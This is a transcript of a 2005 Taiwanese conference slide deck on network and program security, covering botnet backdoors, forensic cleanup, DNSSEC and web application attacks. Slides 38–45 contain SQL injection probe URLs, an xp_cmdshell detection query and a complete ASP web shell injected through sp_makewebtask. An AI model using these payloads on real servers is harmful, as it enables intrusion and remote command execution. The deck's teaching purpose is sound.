WISE 2005 Conference

50
WISE 2005 Conference Presented by Erion Lin, Department of Information Management, National Taiwan University

description

WISE 2005 Conference. Presented by Erion Lin, Department of Information Management, National Taiwan University. Outline. Introduction Network Security Botnet Forensic Analysis of Reverse Backdoor DNSSEC Net Gap Program Security SQL Injection Security Problems of ASP - PowerPoint PPT Presentation

Transcript of WISE 2005 Conference

Page 1: WISE 2005 Conference

WISE 2005 Conference

Presented by Erion Lin,

Department of Information Management,

National Taiwan University

Page 2: WISE 2005 Conference

Outline

Introduction Network Security

Botnet Forensic Analysis of Reverse Backdoor DNSSEC Net Gap

Program Security SQL Injection Security Problems of ASP Security Problems of PHP Some Hack Skills

Conclusion

Page 3: WISE 2005 Conference

Introduction

Page 4: WISE 2005 Conference

Introduction

2004 年爆發多起資訊安全事件 中國大陸駭客入侵總統府網站 大陸網軍對我數位社會的威脅 健保、車籍資料外洩數百萬筆 網路犯罪案件數的大幅度成長

Page 5: WISE 2005 Conference

網路犯罪案件數的大幅度成長

1446

35533081

5208

0

1000

2000

3000

4000

5000

6000

90 91 92 93

Page 6: WISE 2005 Conference

Introduction (Cont’d)

2004 年 10 月 21 日,行政院頒布「各政府機關( 構 ) 落實資安事件危機處理具體執行方案,要求「各政府機關 ( 構 ) 對極重要、重要之敏感文件、資料、檔案等之處理,應採取檔案加密方式儲存,並除非常必要之連網外,均兼採實體隔離等防護措施,以防止被侵入破壞、竄改、刪除或未經授權之存取動作」。

Page 7: WISE 2005 Conference

Network Security

Page 8: WISE 2005 Conference

Botnet

Internet

Zombie2

Zombie1

Zombie3

Hacker

Zombie4

Zombie5

HornAttack

Page 9: WISE 2005 Conference

Victim

DMZ

InternetIntranet

Router

Firewall

Bi-apple Backdoor─Initial State

Target ServerZombie2

Hacker

Zombie1

Zombie3

Bi-apple DNS Server

DNS Server

rabbi.bi-apple.net

127.0.0.1

rabbi.bi-apple.net

Page 10: WISE 2005 Conference

Intranet

Victim

DMZ

Internet

Router

Firewall

Backdoor Active State

Target ServerZombie2

Hacker

Zombie1

Zombie3

Bi-apple DNS Server

DNS Server

rabbi.bi-apple.net

61.221.104.181

rabbi.bi-apple.net

rabbi.bi-apple.net

61.221.104.181

61.221.104.181

Page 11: WISE 2005 Conference

Intranet

Victim

DMZ

Internet

Router

Firewall

Backdoor Active State(Cont’d)

Target ServerZombie2

Hacker

Zombie1

Zombie3

Bi-apple DNS Server

DNS Server

rabbi.bi-apple.net

61.221.104.18161.221.104.181

Syn from Victim 61.221.104.181:80

Remote Control

Attack

Remote Control

Page 12: WISE 2005 Conference

Feature of Bi-Apple Backdoor

Hard to Detect Reverse Backdoor Easy to Change the Zombie

Page 13: WISE 2005 Conference

Digital Forensic Environment

Page 14: WISE 2005 Conference

Digital Forensic Analysis

On-Line Analysis Off-Line Analysis

Page 15: WISE 2005 Conference

On-Line Analysis

Emergency Recovery Find Out the Reason

Page 16: WISE 2005 Conference

On-Line Analysis Steps

Remove Process Remove File and Registry Reboot

Page 17: WISE 2005 Conference

Step1 : Check Process Explorer

Page 18: WISE 2005 Conference

Step2 : Check Autoruns

Page 19: WISE 2005 Conference

Step2 : Check Autoruns

Page 20: WISE 2005 Conference

Step3 : Check TCPView

Page 21: WISE 2005 Conference

Step4: Check File

Page 22: WISE 2005 Conference

Step4: Check File

Page 23: WISE 2005 Conference

Step5: Check DLL

Page 24: WISE 2005 Conference

Step6: Reboot

Page 25: WISE 2005 Conference

Step7 : Check Process Explorer

Page 26: WISE 2005 Conference

Step8 : Check Sniffer

Page 27: WISE 2005 Conference

Step9: Stop Running Process

explorer.exe IEXPLORE.exe

Page 28: WISE 2005 Conference

Step10: Delete Malicious Registry

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{B49DA3DF-E569-423d-BDEA-8F89128E8107}

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{2E8A6CF6-3500-4A7D-9F54-69CD76D367D2}

Page 29: WISE 2005 Conference

Step11: Reboot

Check System Activities Again Check Network Activities Again

Page 30: WISE 2005 Conference

Internet

Normal DNS

Hacker

DNS Administrator DNS Server

DNS Message

Accepted

Fake DNS Message

Accepted

Page 31: WISE 2005 Conference

Internet

DNSSEC

Hacker

DNS Administrator DNS Server with DNSSEC

DNS Message

Accepted

Fake DNS Message

Rejected

Page 32: WISE 2005 Conference

DNSSEC

TSIG Secret Key One-Way Hash Function

SIG0 Public Key

Page 33: WISE 2005 Conference

Net Gap

Intranet

Internet

Router

Firewall

Malicious TCP/TP Packet Net Gap1

Net Gap2

Processing Packet

Normal TCP/IP Packet

Page 34: WISE 2005 Conference

Net Gap(Cont’d)

Net Gap1: Deconstruct Packets Net Gap2: Reconstruct Packets

Page 35: WISE 2005 Conference

Program Security

Page 36: WISE 2005 Conference

SQL Injection

The attacker can execute arbitrary SQL queries AND/OR commands on the backend database server through the Web application.

Page 37: WISE 2005 Conference

May Occur SQL Injection

Page 38: WISE 2005 Conference

SQL Injection Detective Skill

Before http://www.ox.com.tw/script.asp?id=2’

IE returns ODBC error record.

New Generation http://www.ox.com.tw/script.asp?id=2 and 1=1

IE returns normal record. http://www.ox.com.tw/script.asp?id=2 and 1=2

IE returns no record.

Page 39: WISE 2005 Conference

Security Problems of ASP

SQL Injection

InstallWeb Shell

Others(mdb)(db2)

(Informix)

Install Backdoor

Oracle

Recoveryxp_cmdshell

MS SQL

MySQL

Directory traversalFile Information Leak

Upload Area

Configure FileDefault configure

DBDetecting

XP_CMDSHELL

Add New Account

FirewallOutbound

testing

TFTP 網芳FTP

Echo script

Echo exe file

Failure Success

Page 40: WISE 2005 Conference

Hack Skills of ASP

ASP SQL Injection MSSQL DB Detection Skill MSSQL Store Procedure Skill ASP WebShell Skill Firewall Outbound Shell One Way Hacking Backdoor Skill

Page 41: WISE 2005 Conference

SQL Injection

Others(mdb)(db2)

(Informix)

Oracle

MS SQL

MySQLDirectory traversalFile Information Leak

Upload Area

Configure FileDefault configure

DBDetection

Failure Success

Load FileTesting

Save FileTesting

Password File

System Configuration File

HomepageSource Code

PasswordBreakingProgram

Account andPassword

ProgramDefection

Create Temp DB

Save Backdoor into DBSystem Section

WritableWeb Section

WritableOverrideMySQL

Install Backdoor

Install Web Shell

Security Problems of PHP

Page 42: WISE 2005 Conference

Hack Skills of PHP

Writable Directory Testing Skill File Uploading DB Skill Temp Table Design Dkill PHP WebShell Skill Password Breaking Skill Unix Backdoor Skill

Page 43: WISE 2005 Conference

MSSQL DB Detection Skill

And 1=(Select @@version)

MSSQL 版本資訊

Page 44: WISE 2005 Conference

MSSQL Store Procedure Skill

http://www.ox.com.tw/asp/test.asp?id=294 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X‘ AND name= 'xp_cmdshell')

存在 xp_cmdshell 的話 會顯示原有新聞資料

不存在 xp_cmdshell 的話 會出現錯誤訊息或跳回首頁

Page 45: WISE 2005 Conference

ASP WebShell Skill

exec sp_makewebtask @outputfile%3d‘c:\inetpub\wwwroot/a.asp',@charset%3dbig5,@query%3d'select ''<%25On Error Resume Next : Set oscript %3d Server.CreateObject("wscript.SHELL") : Set oscriptNet %3d Server.CreateObject("wscript.NETWORK") : Set oFileSys %3d Server.CreateObject("scripting.FileSystemObject") : szCMD %3d Request.Form(".CMD") : If (szCMD <>"")Then : szTempFile %3d "C:\" %26 oFileSys.GetTempName() : Call oscript.Run ("cmd.exe /c " %26 szCMD %26 " > " %26 szTempFile, 0, True) : Set oFile %3d oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %25> <HTML><BODY><FORM action%3d"<%25%3d Request.ServerVariables("URL")%25>" method%3d"POST"> <input type%3dtext name%3d".CMD" size%3d45 value%3d"<%25%3d szCMD %25>"><input type%3dsubmit value%3d"Run"> </FORM><PRE> <%25 If (IsObject(oFile))Then : On Error Resume Next : Response.Write Server.HTMLEncode(oFile.ReadAll) : oFile.Close : Call oFileSys.DeleteFile(szTempFile, True) : End If%25> </BODY></HTML> '‘ '

Page 46: WISE 2005 Conference

Backdoor Skills

重用連接埠技術 典型代表後門 : 駭客之門 它只有一個 dll 檔案,通過感染系統檔案啟動自身,被感染的系統檔案大小和日期都不會改變; . 同時採用線程插入技術,本身沒有進程;它本身不開連接埠,而是重用系統進程開的任意一個連接埠,如 80 , 135 , 139 , 445 等

Page 47: WISE 2005 Conference

Web

FTP

Firewall( 外對內開 21,80, 內對外全設限 )

IE

ftp

Reuse Port Skill

1

BD

3

2

Page 48: WISE 2005 Conference

Conclusion

Page 49: WISE 2005 Conference

Conclusion

Software Security Quality Identify all data of user input. Handle meta-character carefully. Don’t give too much error message to user. Try to understand the characteristic of programming language. Avoid using APIs that will call shell directly. Check all application’s default setting

New Version of BS7799 Different vendors.

Information Security Education Management, Information and System

Page 50: WISE 2005 Conference

Thanks for Your Listening